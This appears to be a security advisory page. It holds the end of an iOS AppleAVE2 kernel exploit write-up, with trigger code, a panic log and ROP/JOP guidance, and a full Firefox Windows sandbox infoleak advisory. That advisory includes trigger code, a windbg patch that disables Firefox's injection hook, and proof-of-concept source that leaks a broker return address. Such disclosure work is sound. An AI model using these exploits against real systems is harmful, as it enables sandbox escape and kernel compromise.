    *(uint32_t *)(surface_data + 0x3420) = 6;                   // `memoryInfoCnt2` field, gives 1 OOB access
    // Sends the data to MIDIServer to be written onto the IOSurface
    // The MIDIServer ROP chain hangs on the following call:
    // vm_read_overwrite(ourtask, clientbuf, surface1_map_size, surface1_map_addr, ...)
    send_overwriting_iosurface_map(surface_data, surface_map_size, surface_map_addr);
    // Waits for a message back from MIDIServer, sent by the ROP chain
    // Notifies us that the vm_read_overwrite call completed
        // Write the OOB count value to the `currentClient` object, and write our adjacent data
        char setSessionSettings_inputStruct[0x108] = { 0 };
        char setSessionSettings_outputStruct[0x4] = { 0 };
        size_t setSessionSettings_outputStruct_size = sizeof(setSessionSettings_outputStruct);
        *(uint32_t *)(setSessionSettings_inputStruct + 0x04) = surface_id; // FrameQueueSurfaceId
        *(uint32_t *)(setSessionSettings_inputStruct + 0x08) = surface_id; // InitInfoSurfaceId, vulnerable IOSurface mapping
        *(uint32_t *)(setSessionSettings_inputStruct + 0x0c) = surface_id; // ParameterSetsBuffer
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd0) = surface_id; // codedHeaderCSID & codedHeaderBuffer [0]
        *(uint32_t *)(setSessionSettings_inputStruct + 0xd4) = surface_id; // codedHeaderCSID & codedHeaderBuffer [1]
        // AppleAVE2UserClient::_SetSessionSettings
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"SetSessionSettings: %x %s", ret, mach_error_string(ret));
        // Trigger the bug
        char close_inputStruct[0x4] = { 0 };
        char close_outputStruct[0x4] = { 0 };
        size_t close_outputStruct_size = sizeof(close_outputStruct);
        // AppleAVE2UserClient::_my_close
        ret = IOConnectCallStructMethod(ioconn,
        NSLog(@"my_close: %x %s", ret, mach_error_string(ret));

Panic log:

panic(cpu 5 caller 0xfffffff007205df4): Kernel data abort. (saved state: 0xffffffe03cafaf40)
	  x0: 0x4141414142424242  x1:  0xffffffe02cb09c28  x2:  0x0000000000000000  x3:  0xffffffe02cb09c28
	  x4: 0x0000000000000000  x5:  0x0000000000000000  x6:  0xfffffff00f35bb54  x7:  0x0000000000000000
	  x8: 0x0000000000000006  x9:  0x0000000000000006  x10: 0x0000000000000001  x11: 0x0000000000080022
	  x12: 0x0000000000000022 x13: 0xffffffe00094bc08  x14: 0x0000000000080023  x15: 0x0000000000006903
	  x16: 0xfffffff00ee71740 x17: 0x0000000000000000  x18: 0xfffffff00ee79000  x19: 0x4141414142424242
	  x20: 0xffffffe02cb08000 x21: 0x0000000000000000  x22: 0xffffffe02cb09c28  x23: 0x0000000000000005
	  x24: 0xffffffe02cb2f748 x25: 0xffffffe02cb0d034  x26: 0x0000000000000050  x27: 0xffffffe004929218
	  x28: 0x0000000000000000 fp:  0xffffffe03cafb2a0  lr:  0xfffffff0069397e8  sp:  0xffffffe03cafb290
	  pc:  0xfffffff0069398dc cpsr: 0x80400304         esr: 0x96000004          far: 0x414141414242429a

And you can see pc aligns is on the x0->0x58 instruction just before the branch:

0xFFFFFFF0069398CC IOSurfaceBufferMngr::CompleteFence
0xFFFFFFF0069398CC                 STP             X20, X19, [SP,#-0x10+var_10]!
0xFFFFFFF0069398D0                 STP             X29, X30, [SP,#0x10+var_s0]
0xFFFFFFF0069398D4                 ADD             X29, SP, #0x10
0xFFFFFFF0069398D8                 MOV             X19, X0
0xFFFFFFF0069398DC                 LDR             X0, [X0,#0x58]                 // Faults here
0xFFFFFFF0069398E0                 CBZ             X0, loc_FFFFFFF006939908
0xFFFFFFF0069398E4                 LDRB            W8, [X19,#0x1E]
0xFFFFFFF0069398E8                 CBNZ            W8, loc_FFFFFFF006939908
0xFFFFFFF0069398EC                 MOV             W1, #0
0xFFFFFFF0069398F0                 BL              IOFence__complete
0xFFFFFFF0069398F4                 LDR             X0, [X19,#0x58]
0xFFFFFFF0069398F8                 LDR             X8, [X0]
0xFFFFFFF0069398FC                 LDR             X8, [X8,#0x28]
0xFFFFFFF006939900                 BLR             X8

Exploitation of this bug is fairly simple, once the sandbox-escape primitives are set up.
The code in the PoC will also work for exploitation, however the value provided in the SetSessionSettings buffer (0x4141414142424242) will need to be pointed towards a controlled kernel buffer, of which our function pointer can be loaded from. An additional heap infoleak bug could be used for the highest guarantee of reliability. In this case, with a kASLR defeat, you can also speculate the location of the heap on a per-device basis: under high heap memory pressure it is likely that large allocations will end up within the same memory range (0xffffffe1XXXXXXXX).
Since this bug grants us PC control, it lends itself to exploitation via ROP or JOP. While this wouldn’t necessarily work for A12 or newer devices featuring PAC, the non-A12/A13 support is a limitation we already have with our sandbox escape, so this is no big problem. Also note that when building a ROP/JOP chain, the address of our controlled kernel buffer is within x19, and another controlled pointer in x0. This can be used as a stack pivot buffer or memory scratch space.
You can find the poc files on our GitHub repository.

Closing Words

Even with stringent sandboxing protections locking down large amounts of the kernel attack surface, many userland components still contain a large amount of attack surface themselves with many daemons implementing 50+ RPC’s. Chaining a sandbox escape can grant access to areas of the kernel which are highly under-audited, as much of the focus is put into the small slice of the kernel which is directly accessible.
If you have any further questions feel free to DM @iBSparkes on Twitter, or (G)mail me at bensparkes8.

Thank you

We would like to thank iBSparkes for writing this advisory and diving into the technical details with 08Tc3wBB.

SSD Advisory – Firefox Sandbox Infoleak From Uninitialized Handle In CrossCall

Vulnerability summary
The crosscall FilesystemDispatcher::NtOpenFile can leak an uninitialized handle value to a renderer due to an incorrect return value in FileSystemPolicy::OpenFileAction. The crosscall NtOpenKey seems to also suffer from the exact same bug.
In this advisory, we show how to leak a function pointer stored in the broker’s stack (corresponding, in this case, to a return address).
We’ll first have a glance at a crosscall implementation, from the renderer to the broker. Then, we’ll explain where the bug lies before eventually explaining how to trigger the bug and find a way to disclose a function pointer.
Vendor Response
Firefox has released version 67 to address this issue, additional information can be obtained from:
An independent Security Researcher, Jeremy Fetiveau (@__x86), has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
The bug is specific to the Windows implementation of the sandbox. Both `x86` and `x64` builds are affected.
Vulnerability Details
On Windows, browsers usually have a sandbox where there is one main normally privileged process and several processes running at a lower privilege level. The basic idea is that every tab would execute in a restricted environment so that compromising this process would not give an attacker a complete access to its target’s machine. He would need to also evade the sandbox.
To implement that, browsers make use of different mechanisms provided by the operating system such as restricted tokens, low integrity levels, job objects or station/desktop isolation.
In order to be able to do operations, a renderer process will likely have to ask the broker to do it for him using an IPC mechanism.
When trying to do system calls, a renderer might instead do what is called a crosscall. This means that instead of directly making a system call, a renderer will send a message asking the broker to do it for him. Depending on the policy, the broker may or may not execute the system call and send the result back to the renderer, through IPC.
When setting up the sandbox, renderer-side functions in ntdll like ntdll!NtCreateFile are hooked so as to redirect execution to the interception functions implementing the crosscall. Those functions write data in memory and signal the broker to make a crosscall.
Then, the broker executes dispatcher functions that does the actual syscall and sends the result back to the renderer through shared memory.
If we’ll take the case of ntdll!NtCreateFile, the renderer will actually end up executing `TargetNtCreateFile`. What is does is the following:
1. Call the original syscall
3. Validate parameters
4. Prepare shared memory
5. Send a signal to actually make the crosscall using the function CrossCall

// source/security/sandbox/chromium/sandbox/win/src/
NTSTATUS WINAPI TargetNtCreateFile(NtCreateFileFunction orig_CreateFile,
                                   PHANDLE file, ACCESS_MASK desired_access,
                                   POBJECT_ATTRIBUTES object_attributes,
                                   PIO_STATUS_BLOCK io_status,
                                   PLARGE_INTEGER allocation_size,
                                   ULONG file_attributes, ULONG sharing,
                                   ULONG disposition, ULONG options,
                                   PVOID ea_buffer, ULONG ea_length) {
  // Check if the process can open it first.
  NTSTATUS status = orig_CreateFile(file, desired_access, object_attributes,
                                    io_status, allocation_size,
                                    file_attributes, sharing, disposition,
                                    options, ea_buffer, ea_length);
  if (STATUS_ACCESS_DENIED != status &&
    return status;
  // We don't trust that the IPC can work this early.
  if (!SandboxFactory::GetTargetServices()->GetState()->InitCalled())
    return status;
  wchar_t* name = NULL;
  do {
    if (!ValidParameter(file, sizeof(HANDLE), WRITE))
    if (!ValidParameter(io_status, sizeof(IO_STATUS_BLOCK), WRITE))
    void* memory = GetGlobalIPCMemory();
    if (NULL == memory)
    uint32_t attributes = 0;
    NTSTATUS ret = AllocAndCopyName(object_attributes, &name, &attributes,
    if (!NT_SUCCESS(ret) || NULL == name)
    uint32_t desired_access_uint32 = desired_access;
    uint32_t options_uint32 = options;
    uint32_t disposition_uint32 = disposition;
    uint32_t broker = FALSE;
    CountedParameterSet<OpenFile> params;
    params[OpenFile::NAME] = ParamPickerMake(name);
    params[OpenFile::ACCESS] = ParamPickerMake(desired_access_uint32);
    params[OpenFile::DISPOSITION] = ParamPickerMake(disposition_uint32);
    params[OpenFile::OPTIONS] = ParamPickerMake(options_uint32);
    params[OpenFile::BROKER] = ParamPickerMake(broker);
    SharedMemIPCClient ipc(memory);
    CrossCallReturn answer = {0};
    // The following call must match in the parameters with
    // FilesystemDispatcher::ProcessNtCreateFile.
    ResultCode code = CrossCall(ipc, IPC_NTCREATEFILE_TAG, name, attributes,
                                desired_access_uint32, file_attributes, sharing,
                                disposition, options_uint32, &answer);
    if (SBOX_ALL_OK != code)
    status = answer.nt_status;
    if (!NT_SUCCESS(answer.nt_status))
    __try {
      *file = answer.handle;
      io_status->Status = answer.nt_status;
      io_status->Information = answer.extended[0].ulong_ptr;
  } while (false);
  if (name)
    operator delete(name, NT_ALLOC);
  return status;

After the renderer called CrossCall so as to make an NtCreateFile crosscall, the broker is going to execute the function FilesystemDispatcher::NtCreateFile.
After a few checks and evaluating the low level policy, it will eventually call the FileSystemPolicy::CreateFileAction. This is where the actual syscall will be made.

// source/security/sandbox/chromium/sandbox/win/src/
bool FilesystemDispatcher::NtCreateFile(IPCInfo* ipc,
                                        base::string16* name,
                                        uint32_t attributes,
                                        uint32_t desired_access,
                                        uint32_t file_attributes,
                                        uint32_t share_access,
                                        uint32_t create_disposition,
                                        uint32_t create_options) {
  if (!PreProcessName(name)) {
    // The path requested might contain a reparse point.
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  const wchar_t* filename = name->c_str();
  uint32_t broker = TRUE;
  CountedParameterSet<OpenFile> params;
  params[OpenFile::NAME] = ParamPickerMake(filename);
  params[OpenFile::ACCESS] = ParamPickerMake(desired_access);
  params[OpenFile::DISPOSITION] = ParamPickerMake(create_disposition);
  params[OpenFile::OPTIONS] = ParamPickerMake(create_options);
  params[OpenFile::BROKER] = ParamPickerMake(broker);
  // To evaluate the policy we need to call back to the policy object. We
  // are just middlemen in the operation since is the FileSystemPolicy which
  // knows what to do.
  EvalResult result = policy_base_->EvalPolicy(IPC_NTCREATEFILE_TAG,
  // If the policies forbid access (any result other than ASK_BROKER),
  // then check for user-granted access to file.
  if (ASK_BROKER != result &&
        UserGrantedFileAccess(ipc->client_info->process_id, filename,
                              desired_access, create_disposition)) {
    result = ASK_BROKER;
  HANDLE handle;
  ULONG_PTR io_information = 0;
  NTSTATUS nt_status;
  if (!FileSystemPolicy::CreateFileAction(result, *ipc->client_info, *name,
                                          attributes, desired_access,
                                          file_attributes, share_access,
                                          create_disposition, create_options,
                                          &handle, &nt_status,
                                          &io_information)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  // Return operation status on the IPC.
  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle;
  return true;

Here, NtCreateFileInTarget will do the actual system call.

// source/security/sandbox/chromium/sandbox/win/src/
bool FileSystemPolicy::CreateFileAction(EvalResult eval_result,
                                        const ClientInfo& client_info,
                                        const base::string16& file,
                                        uint32_t attributes,
                                        uint32_t desired_access,
                                        uint32_t file_attributes,
                                        uint32_t share_access,
                                        uint32_t create_disposition,
                                        uint32_t create_options,
                                        HANDLE* handle,
                                        NTSTATUS* nt_status,
                                        ULONG_PTR* io_information) {
  // The only action supported is ASK_BROKER which means create the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return false;
  IO_STATUS_BLOCK io_block = {};
  UNICODE_STRING uni_name = {};
  OBJECT_ATTRIBUTES obj_attributes = {};
  SECURITY_QUALITY_OF_SERVICE security_qos = GetAnonymousQOS();
  InitObjectAttribs(file, attributes, NULL, &obj_attributes,
                    &uni_name, IsPipe(file) ? &security_qos : NULL);
  *nt_status = NtCreateFileInTarget(handle, desired_access, &obj_attributes,
                                    &io_block, file_attributes, share_access,
                                    create_disposition, create_options, NULL,
                                    0, client_info.process);
  *io_information = io_block.Information;
  return true;

Let’s compare both OpenFileAction to CreateFileAccess

// source/security/sandbox/chromium/sandbox/win/src/
bool FileSystemPolicy::OpenFileAction(EvalResult eval_result,
                                      const ClientInfo& client_info,
                                      const base::string16& file,
                                      uint32_t attributes,
                                      uint32_t desired_access,
                                      uint32_t share_access,
                                      uint32_t open_options,
                                      HANDLE* handle,
                                      NTSTATUS* nt_status,
                                      ULONG_PTR* io_information) {
  // The only action supported is ASK_BROKER which means open the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true; // this line is different!
  // An NtOpen is equivalent to an NtCreate with FileAttributes = 0 and
  // CreateDisposition = FILE_OPEN.
  IO_STATUS_BLOCK io_block = {};
  UNICODE_STRING uni_name = {};
  OBJECT_ATTRIBUTES obj_attributes = {};
  SECURITY_QUALITY_OF_SERVICE security_qos = GetAnonymousQOS();
  InitObjectAttribs(file, attributes, NULL, &obj_attributes,
                    &uni_name, IsPipe(file) ? &security_qos : NULL);
  *nt_status = NtCreateFileInTarget(handle, desired_access, &obj_attributes,
                                    &io_block, 0, share_access, FILE_OPEN,
                                    open_options, NULL, 0,
  *io_information = io_block.Information;
  return true;

In OpenFileAction, the following code is incorrect:

if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true;

The return value should be false instead of true.
OpenFileAction is called by the FilesystemDispatcher::NtOpenFile crosscall as follows:

bool FilesystemDispatcher::NtOpenFile(IPCInfo* ipc,
                                      base::string16* name,
                                      uint32_t attributes,
                                      uint32_t desired_access,
                                      uint32_t share_access,
                                      uint32_t open_options) {
  // [...]
  HANDLE handle; // not initialized
  ULONG_PTR io_information = 0;
  NTSTATUS nt_status;
  // can bail out early without modifying handle and while also returning true
  if (!FileSystemPolicy::OpenFileAction(result, *ipc->client_info, *name,
                                        attributes, desired_access,
                                        share_access, open_options, &handle,
                                        &nt_status, &io_information)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  // Return operation status on the IPC.
  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle; // handle can be uninitialized here
  return true;

When the condition ASK_BROKER != eval_result is true, access to the file is denied and the broker should then execute.

    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;

But as we saw previously, that is not case and we would therefore execute the following code:

  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle;

io_information is set to 0 and nt_status would be set to STATUS_ACCESS_DENIED.
However the handle is not initialized! Therefore, the broker will put some uninitialized stack memory in the shared memory when executing ipc->return_info.handle = handle
Triggering the bug
Long story short, to trigger the bug, you only need to make an NtOpenFile crosscall on a file for which access would be denied.
It is required to manually read the shared memory or do the call to CrossCall directly because TargetNtOpenFile checks answer.nt_status and does not fetch shared memory the nt_status is an error code (which is what we expect). The line *file = answer.handle; would not get executed.
But as this is renderer code, you can do whatever you want. Either call CrossCall (or make your own) or scan the shared memory.

ResultCode code = CrossCall(ipc, IPC_NTOPENFILE_TAG, name, attributes,
                                desired_access_uint32, sharing, options_uint32,
    if (SBOX_ALL_OK != code)
    status = answer.nt_status;
    if (!NT_SUCCESS(answer.nt_status)) // (renderer side) nt_status != NT_SUCCESS
    __try {
      *file = answer.handle; // here you would fetch the leaked data from the shared memory
      io_status->Status = answer.nt_status;
      io_status->Information = answer.extended[0].ulong_ptr;

The trigger would roughly look like this.

RtlInitUnicodeString(&filename, L"\\??\\C:\\");
InitializeObjectAttributes(&obj_attr, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenFile(&file, FILE_WRITE_DATA, &obj_attr, &iostatusblock, 1, NULL);

Getting a function pointer
We need to make sure that the stack contains something interesting. If you try to open the file L"\\??\\C:\\secret\\canttouchme.txt", you would not get anything interesting. The return handle would actually be the number of characters of the file name (in this case, 0x1D).
Indeed, when receiving the signal for a crosscall, the broker would first execute the function sandbox::SharedMemIPCServer::InvokeCallback.

bool SharedMemIPCServer::InvokeCallback(const ServerControl* service_context,
                                        void* ipc_buffer,
                                        CrossCallReturn* call_result) {
// [...]
  if (!GetArgs(params.get(), &ipc_params, args))
    return false;
// [...]
  if (handler) {
    switch (params->GetParamsCount()) {
// [...]
      case 7: {
        Dispatcher::Callback7 callback =
        if (!(handler->*callback)(&ipc_info, args[0], args[1], args[2], args[3],
                                  args[4], args[5], args[6]))
        error = false;
// [...]

The function GetArgs will fetch the arguments from the shared memory. For every argument, it will call a function GetRawParameterXXX. Henceforth, when fetching the filename parameter, GetParameterStr will get called.

// Fills up the list of arguments (args and ipc_params) for an IPC call.
bool GetArgs(CrossCallParamsEx* params, IPCParams* ipc_params,
             void* args[kMaxIpcParams]) {
  // [...]
  for (uint32_t i = 0; i < params->GetParamsCount(); i++) {
    uint32_t size;
    ArgType type;
    args[i] = params->GetRawParameter(i, &size, &type);
    if (args[i]) {
      ipc_params->args[i] = type;
      switch (type) {
        case WCHAR_TYPE: {
          std::unique_ptr<base::string16> data(new base::string16);
          if (!params->GetParameterStr(i, data.get())) {
            args[i] = 0;
            ReleaseArgs(ipc_params, args);
            return false;
          args[i] = data.release();
        // [...]
  return true;

The code of GetParameterStr is the following:

bool CrossCallParamsEx::GetParameterStr(uint32_t index,
                                        base::string16* string) {
 // [...]
  void* start = GetRawParameter(index, &size, &type);
 // [...]
  string->append(reinterpret_cast<wchar_t*>(start), size/(sizeof(wchar_t)));
  return true;
}bool CrossCallParamsEx::GetParameterStr(uint32_t index,
                                        base::string16* string) {
 // [...]
  void* start = GetRawParameter(index, &size, &type);
 // [...]
  string->append(reinterpret_cast<wchar_t*>(start), size/(sizeof(wchar_t)));
  return true;

If you’ll read the disassembly, you will find the following instructions:

mov     ebx, [esi+14h]
mov     edx, [esi+10h]
mov     edi, eax
shr     edi, 1
mov     [ebp+var_18], ebx
sub     ebx, edx
cmp     ebx, edi
jnb     short loc_4162A0

Those instructions check if the length of the file name is greater than the length of the parameter string. When debugging, we can than see the original capacity of the string is of 7 characters. So we compare the number of characters of the file name to 7.
In the case of a greater string such as `L”\\??\\C:\\secret\\canttouchme.txt”`, the following basic block is executed.

sub     esp, 10h
mov     al, [ebp+var_14]
mov     [esp+28h+var_24], al
mov     [esp+28h+var_20], ecx
mov     ecx, esi
mov     [esp+28h+var_1C], edi
mov     [esp+28h+same_address_as_the_uninitialized_handle], edi // look here!
call    std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::_Reallocate_grow_by<`std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::append(wchar_t const * const,uint)'::`1'::_lambda_1_,wchar_t const *,uint>(uint,`std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::append(wchar_t const * const,uint)'::`1'::_lambda_1_,wchar_t const *,uint)
jmp     short loc_416284

This will store the number of characters of the file name string. This is something an attacker does not want to happen because it is a completely irrelevant information.
But what happens if the string is smaller? A valid file name could be L"\\??\\C:\\".
The following code will be executed instead:

and     eax, 0FFFFFFFEh
lea     edx, [esi+edx*2]
push    eax             ; Size
push    ecx             ; Src
push    edx             ; Dst
call    _memmove // return address == uninitialized handle value
add     esp, 0Ch

This is a much better thing because it doesn’t write the string length on the address that will later correspond to the uninitialized handle.
Let’s do an NtOpenFile crosscall with the filename L"\\??\\C:\\" and use FILE_WRITE_DATA as a DesiredAccessMask like this: NtOpenFileStruct(&file, FILE_WRITE_DATA, &obj_attrib, &io_status_block, 1, NULL);
Now we will take a look at the leaking handle and we will see what to what it belongs when attaching to the broker process.

0:069> ln 002662bb
Browse module
Set bu breakpoint
*** WARNING: Unable to verify checksum for c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dist\bin\firefox.exe
 [c:\mozilla-source\mozilla-central\security\sandbox\chromium\sandbox\win\src\ @ 293] (00266200)   firefox!sandbox::CrossCallParamsEx::GetParameterStr+0xbb   |  (002662d0)   firefox!sandbox::SetCallError

So basically, instead of leaking a string size, we leak a function pointer that corresponds to the return address pushed on the stack while executing the _memmove called by GetParameterStr.
This demonstrates that this bug does leak some sensitive information from the broker and that it is possible to get different kind of data by playing with the crosscall parameters.
Testing the vulnerability
To play with the sandbox without using a renderer RCE bug, a simple way to do that is using reflective DLL injection. However, Firefox prevents that by hooking the function kernel32!BaseThreadInitThunk.

0:028> u KERNEL32!BaseThreadInitThunk
763e8460 e99bc87bde      jmp     mozglue!patched_BaseThreadInitThunk (54ba4d00)
763e8465 51              push    ecx

Therefore, simply patch the JMP by the standard MOV EDI, EDI.

763e8460 8bff            mov     edi,edi
763e8462 55              push    ebp

Looking at the dissassembly:

.text:00416A00                 mov     [ebp+__io_information], 0
.text:00416A07                 lea     edx, [ebp+phandle]
.text:00416A0A                 push    eax             ; unsigned int *
.text:00416A0B                 push    ecx             ; int *
.text:00416A0C                 push    edx             ; void **
.text:00416A0D                 push    [ebp+arg_14]    ; unsigned int
.text:00416A10                 push    [ebp+arg_10]    ; unsigned int
.text:00416A13                 push    [ebp+arg_C]     ; unsigned int
.text:00416A16                 push    [ebp+arg_8]     ; unsigned int
.text:00416A19                 push    [ebp+arg_4]     ; std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > *
.text:00416A1C                 push    dword ptr [edi] ; sandbox::ClientInfo *
.text:00416A1E                 push    esi             ; sandbox::EvalResult
.text:00416A1F                 call    sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)
.text:00416A24                 add     esp, 28h
.text:00416A27                 mov     ecx, [ebp+arg_0]
.text:00416A2A                 test    al, al
.text:00416A2C                 jz      short loc_416A3D
.text:00416A2E                 mov     eax, [ebp+__io_information]
.text:00416A31                 mov     [ecx+1Ch], eax
.text:00416A34                 mov     ebx, [ebp+nt_status]
.text:00416A37                 mov     eax, [ebp+phandle]
.text:00416A3A                 mov     [ecx+18h], eax
public: static bool __cdecl sandbox::FileSystemPolicy::OpenFileAction(enum  sandbox::EvalResult, struct sandbox::ClientInfo const &, class std::basic_string<wchar_t, struct std::char_traits<wchar_t>, class std::allocator<wchar_t>> const &, unsigned int, unsigned int, unsigned int, unsigned int, void * *, long *, unsigned long *) proc near
.text:00418A20                                         ; CODE XREF: sandbox::FilesystemDispatcher::NtOpenFile(sandbox::IPCInfo *,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> *,uint,uint,uint,uint)+11F↑p
.text:00418A20 var_4C          = dword ptr -4Ch
.text:00418A20 var_48          = dword ptr -48h
.text:00418A20 var_44          = dword ptr -44h
.text:00418A20 var_3C          = _OBJECT_ATTRIBUTES ptr -3Ch
.text:00418A20 var_24          = _UNICODE_STRING ptr -24h
.text:00418A20 var_1C          = dword ptr -1Ch
.text:00418A20 var_18          = dword ptr -18h
.text:00418A20 var_14          = dword ptr -14h
.text:00418A20 arg_0           = dword ptr  8
.text:00418A20 arg_4           = dword ptr  0Ch
.text:00418A20 arg_8           = dword ptr  10h
.text:00418A20 arg_C           = dword ptr  14h
.text:00418A20 arg_10          = dword ptr  18h
.text:00418A20 arg_14          = dword ptr  1Ch
.text:00418A20 arg_18          = dword ptr  20h
.text:00418A20 arg_1C          = dword ptr  24h
.text:00418A20 arg_20          = dword ptr  28h
.text:00418A20 arg_24          = dword ptr  2Ch
.text:00418A20                 push    ebp
.text:00418A21                 mov     ebp, esp
.text:00418A23                 push    ebx
.text:00418A24                 push    edi
.text:00418A25                 push    esi
.text:00418A26 eval_result:
.text:00418A26                 and     esp, 0FFFFFFF0h
.text:00418A29                 sub     esp, 40h
.text:00418A2C                 mov     ecx, ___security_cookie
.text:00418A32                 mov     eax, [ebp+arg_0]
.text:00418A35                 mov     edx, [ebp+arg_20]
.text:00418A38                 xor     ecx, ebp
.text:00418A3A                 cmp     eax, 3 // compare DENY_ACCESS to EVAL_BROKER
.text:00418A3D                 mov     [esp+4Ch+var_14], ecx
.text:00418A41                 jnz     loc_418AFF
.text:00418AFF loc_418AFF:                             ; CODE XREF: sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)+21↑j
.text:00418AFF                 mov     dword ptr [edx], 0C0000022h
.text:00418B05 loc_418B05:                             ; CODE XREF: sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)+DD↑j
.text:00418B05                 mov     ecx, [esp+4Ch+var_14]
.text:00418B09                 xor     ecx, ebp        ; cookie
.text:00418B0B                 call    __security_check_cookie(x)
.text:00418B10                 mov     al, 1
.text:00418B12                 lea     esp, [ebp-0Ch]
.text:00418B15                 pop     esi
.text:00418B16                 pop     edi
.text:00418B17                 pop     ebx
.text:00418B18                 pop     ebp
.text:00418B19                 retn
enum EvalResult {
  // Comparison opcode values:
  EVAL_TRUE,   // Opcode condition evaluated true.
  EVAL_FALSE,  // Opcode condition evaluated false.
  EVAL_ERROR,  // Opcode condition generated an error while evaluating.
  // Action opcode values:
  ASK_BROKER,  // The target must generate an IPC to the broker. On the broker
               // side, this means grant access to the resource.
  DENY_ACCESS,   // No access granted to the resource.
  GIVE_READONLY,  // Give readonly access to the resource.
  GIVE_ALLACCESS,  // Give full access to the resource.
  GIVE_CACHED,  // IPC is not required. Target can return a cached handle.
  GIVE_FIRST,  // TODO(cpu)
  SIGNAL_ALARM,  // Unusual activity. Generate an alarm.
  FAKE_SUCCESS,  // Do not call original function. Just return 'success'.
  FAKE_ACCESS_DENIED,  // Do not call original function. Just return 'denied'
                       // and do not do IPC.
  TERMINATE_PROCESS,  // Destroy target process. Do IPC as well.

If the file we’re trying to open gets an DENY_ACCESS EvalResult instead of ASK_BROKER, the bug will be triggered. The disassembly shows that the handle will be uninitialized.
Bug variants
The NtOpenKey dispatcher (broker side) contains the exact same bug and will also write an uninitialized HANDLE in the shared memory. Me might be able to leak different kind of information using this bug because the handle variable would be allocated at a different place on the stack.

bool RegistryDispatcher::NtOpenKey(IPCInfo* ipc,
                                   base::string16* name,
                                   uint32_t attributes,
                                   HANDLE root,
                                   uint32_t desired_access) {
// [...]
  HANDLE handle; // not initialized
  NTSTATUS nt_status;
  if (!RegistryPolicy::OpenKeyAction(result, *ipc->client_info, *name,
                                     attributes, root, desired_access, &handle,
                                     &nt_status)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  // Return operation status on the IPC.
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle; // may be uninitialized
  return true;
bool RegistryPolicy::OpenKeyAction(EvalResult eval_result,
                                   const ClientInfo& client_info,
                                   const base::string16& key,
                                   uint32_t attributes,
                                   HANDLE root_directory,
                                   uint32_t desired_access,
                                   HANDLE* handle,
                                   NTSTATUS* nt_status) {
  // The only action supported is ASK_BROKER which means open the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true; // should be balse, handle is not written
// [...]
  return true;

The POC uses the reflective DLL injection tool from Stephen Fewer. Simply change ReflectiveDll.c and Sandbox.h. Firefox prevents DLL injections by hooking kernel32!BaseThreadInitThunk. You can remove that using this windbg command: eb kernel32!BaseThreadInitThunk 8b ff 55 8b ec
In order to find IPC Shared Memory, the POC simply uses OFFSET_TO_G_SHARED_IPC_MEMORY as an offset between the firefox module base and firefox!g_shared_IPC_memory. Here is the exact version used for which the offset works.
$ hg log -l 1
changeset: 451842:8330fe920aea

this is some code to trigger the uninitialized handle leak
it leaks stack memory from the broker
in this case, the leaked value used to be a return address
#include "ReflectiveLoader.h"
#include "Sandbox.h"
#define OFFSET_TO_G_SHARED_IPC_MEMORY 0x000411c0
#define STATUS_ACCESS_DENIED          ((NTSTATUS)0xC0000022L)
typedef unsigned int uint32_t;
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef enum _ResultCode {
	// Error is originating on the win32 layer. Call GetlastError() for more
	// information.
	// An invalid combination of parameters was given to the API.
	// The desired operation is not supported at this time.
	// The request requires more memory that allocated or available.
	// The ipc service requested does not exist.
	// The ipc service did not complete.
} ResultCode;
typedef struct _CrossCallReturn {
	uint32_t tag;
	ResultCode call_outcome;
	uint32_t padding; // to reflect the size of the actual structure!
	uint32_t padding2;
	union {
		NTSTATUS nt_status;
		DWORD    win32_result;
	uint32_t extended_count;
	HANDLE handle;
} CrossCallReturn;
void doOpenFile() {
	NT_OPEN_FILE NtOpenFileStruct;
	_RtlInitUnicodeString __RtlInitUnicodeString;
	HMODULE  hModule = NULL;
	HANDLE file = NULL;
	IO_STATUS_BLOCK iostatusblock;
	hModule = LoadLibraryA("ntdll.dll");
	NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
	__RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
	// we can't open C:\\
	// string length affects uninitialized memory
